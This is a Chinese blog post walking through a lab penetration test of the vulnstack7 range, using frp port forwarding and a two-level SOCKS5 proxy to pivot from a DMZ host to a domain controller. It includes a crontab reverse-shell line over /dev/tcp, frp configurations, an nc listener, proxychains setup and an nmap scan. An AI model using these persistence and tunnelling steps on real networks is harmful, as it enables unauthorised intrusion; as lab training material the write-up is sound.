frp 内网渗透案例:端口转发 + 二级代理(深入理解 frp 在内网渗透中的技巧)

本文使用 vulnstack7 靶场作为测试环境,解释 frp 内网渗透特殊使用姿势,通过此案例来提高内网渗透能力。

  • 接下来的演示环境只做了以下修改。

    • 攻击者 vps 的 ip 修改为:192.168.72.162。

    • DMZ 区域的 ubuntu 的 ip1 修改为:192.168.72.129。

先引入问题,当我们控制了 DMZ 的 ubuntu 并且拿到第二层网络的 ubuntu 的 rce 后,会出现以下两个问题。

  • 如何搭建隧道让 ubuntu 反弹 shell 给攻击者 vps?

  • 如何搭建隧道让攻击者 vps 将 ubuntu 作为内网代理访问域控?

这就是这篇文章要讨论的内容。

端口转发

为了方便讨论,我们将 DMZ 区域的 ubuntu 称为 ubuntu1,第二层网络的 ubuntu 称为 ubuntu2。

我们先来解决其中一个问题,如何让第二层网络的 ubuntu2 反弹 shell 给攻击者 vps。我们先开启攻击者 vps 本地 4444 端口接收反弹 shell,假设我们现在使用 ubuntu2 的 root 权限在计划任务中写入反弹 shell,并标注反弹 shell 的 ip 为攻击者 vps 192.168.72.162,这肯定会失败,因为 ubuntu2 不出网,他找不到 ip 为 192.168.72.162 的主机。所以我们进行端口转发让 ubuntu2 能够定位到处于其他网段的 攻击者 vps。

在 ubuntu1 上配置端口转发

我们的思路是,ubuntu1 上开启 4444 端口,然后经由此端口的流量都会转发到攻击者 vps 的 4444 端口上,此刻,攻击者 vps 使用 nc 监听本地 4444 端口,且让 ubuntu2 反弹 shell 到 ubuntu1 的 4444 端口,流量自动转发到 vps 的 4444 端口上。

攻击者 vps 端口 4444 <-------------> 端口4444 ubuntu1 端口4444<------------->ubuntu2

# 首先在 ubuntu2 上将反弹 shell 写入 /etc/crontab
​
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.52.10/4444 0>&1'" >> /etc/crontab

# 在 ubuntu1 上运行 frps。
​
frps.ini 配置文件如下:
[common]
bind_addr = 0.0.0.0
bind_port = 7100
dashboard_addr = 0.0.0.0
dashboard_port = 7101
dashboard_user = root
dashboard_pwd = 123456
token = 00253c8fcf9ae01
​
# 此程序将开启 ubuntu1 的 7100 端口作为 frp 服务端。

# 在 ubuntu1 上运行 frps。
​
frpc.ini 配置文件如下:
[common]
server_addr = 192.168.72.129
server_port = 7100
token = 00253c8fcf9ae01
pool_count = 5
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 6100
plugin = socks5
use_encryption = true
use_compression = true
plugin_user = admin
plugin_passwd = 123456
[rever_shell]
type = tcp
local_ip = 127.0.0.1
local_port = 4444 
remote_port = 4444          # 本地端口 4444 转发到远程端口 4444
[HTTP]
type = tcp
local_ip = 127.0.0.1
local_port = 8000           # 本地端口 8000 转发到远程端口 8000
remote_port = 8000
​
此脚本运行后会向 frps 7100 端口进行连接,然后指定 frps 开启本地(192.168.52.10) 6100 端口进行正向代理,
开启本地(192.168.52.10) 4444 向攻击者 vps (192.168.72.162) 4444 的端口转发。
开启本地(192.168.52.10) 8000 向攻击者 vps (192.168.72.162) 8000 的端口转发。
​
# 配置好后,攻击者 vps 开机端口监听
nc -lvp 4444

等待一会,发现反弹 shell 成功(左上图),且 frpc(左下图) 和 frps(右下图) 都有端口转发的记录。注:左下图哪个红色的报错是因为,我当时没有开启攻击者的 4444 的监听,所以给拒绝了。

端口转发拉取文件

还有一个小技巧,我们同时搭建了 8000 的端口转发,那么我们在 vps 上开启一个 8000 端口 web 服务,然后 ubuntu2 上执行 wget 命令可以拉取 vps 上的文件。(左:192.168.72.162,右:192.168.52.20)

二级代理

搭建好端口转发后,我们接下来就是搭建入网隧道访问域控了。通过以上端口转发拉取文件后,在 ubuntu2 搭建一个正向代理 frp。

# 注:之前搭建的端口转发出网隧道,一定不要关闭,我们需要使用类似于反弹 shell 的机制,让 frpc 通过端口转发回连 frps,详细内容如下:
​
攻击者 vps 占用端口 8000 的 frps <-------------> 端口8000 ubuntu1 端口8000<------------->ubuntu2 上的 frpc
​
# 在 vps (192.168.72.162)上新开一个 frps(注:不是 frpc),然后在 ubuntu2 上拉取 frpc,让 frpc 回连 frps 后即可搭建成功。
入网二级代理搭建
# 在 vps 上运行 frps。
​
frps 配置文件如下:
[common]
bind_addr = 0.0.0.0
bind_port = 8000                # frps 监听 vps 的 8000 端口。
dashboard_addr = 0.0.0.0
dashboard_port = 7102
dashboard_user = root
dashboard_pwd = 123456
token = 00253c8fcf9ae01
​
# 在 ubuntu2 上运行 frpc。
[common]
server_addr = 192.168.52.10
server_port = 8000              # 让 frpc 回连 192.168.52.10 的 8000 端口,自动转发到 vps 的 8000 端口。
token = 00253c8fcf9ae01
pool_count = 5
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 6200              # 攻击者通过本地 6200 端口访问深网域控
plugin = socks5
use_encryption = true
use_compression = true
plugin_user = admin
plugin_passwd = 123456 
​
# 运行完 frpc 后,frpc 回连 frps,frps 上开启 6200 端口作为访问 frpc 代理的端口。

由此我们通过端口转发 + 二级代理搭建了访问深网的隧道

访问域控

配置 proxychains
# 指定 vps 本地 6200 端口为内网代理。 
vim /etc/proxychains4.conf
​
socks5  127.0.0.1       6200    admin   123456
nmap 扫描域控
proxychains nmap -sT -Pn -n --open -p445,135,80,5985,5986,8000 192.168.93.30

流量过程

攻击者 vps 占用端口 6200 的 frps <-------------> 端口8000 ubuntu1 端口8000 <-------------> ubuntu2 上的 frpc <-------------> 域控。

其他使用姿势

我们之前介绍了两种端口转发使用姿势:

  • 反弹 shell 到 vps。

  • 拉取 vps 上的文件。

其实还有其他使用姿势和技巧:

  • ntlm relay 回连至攻击者机器(使用 printer bug)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值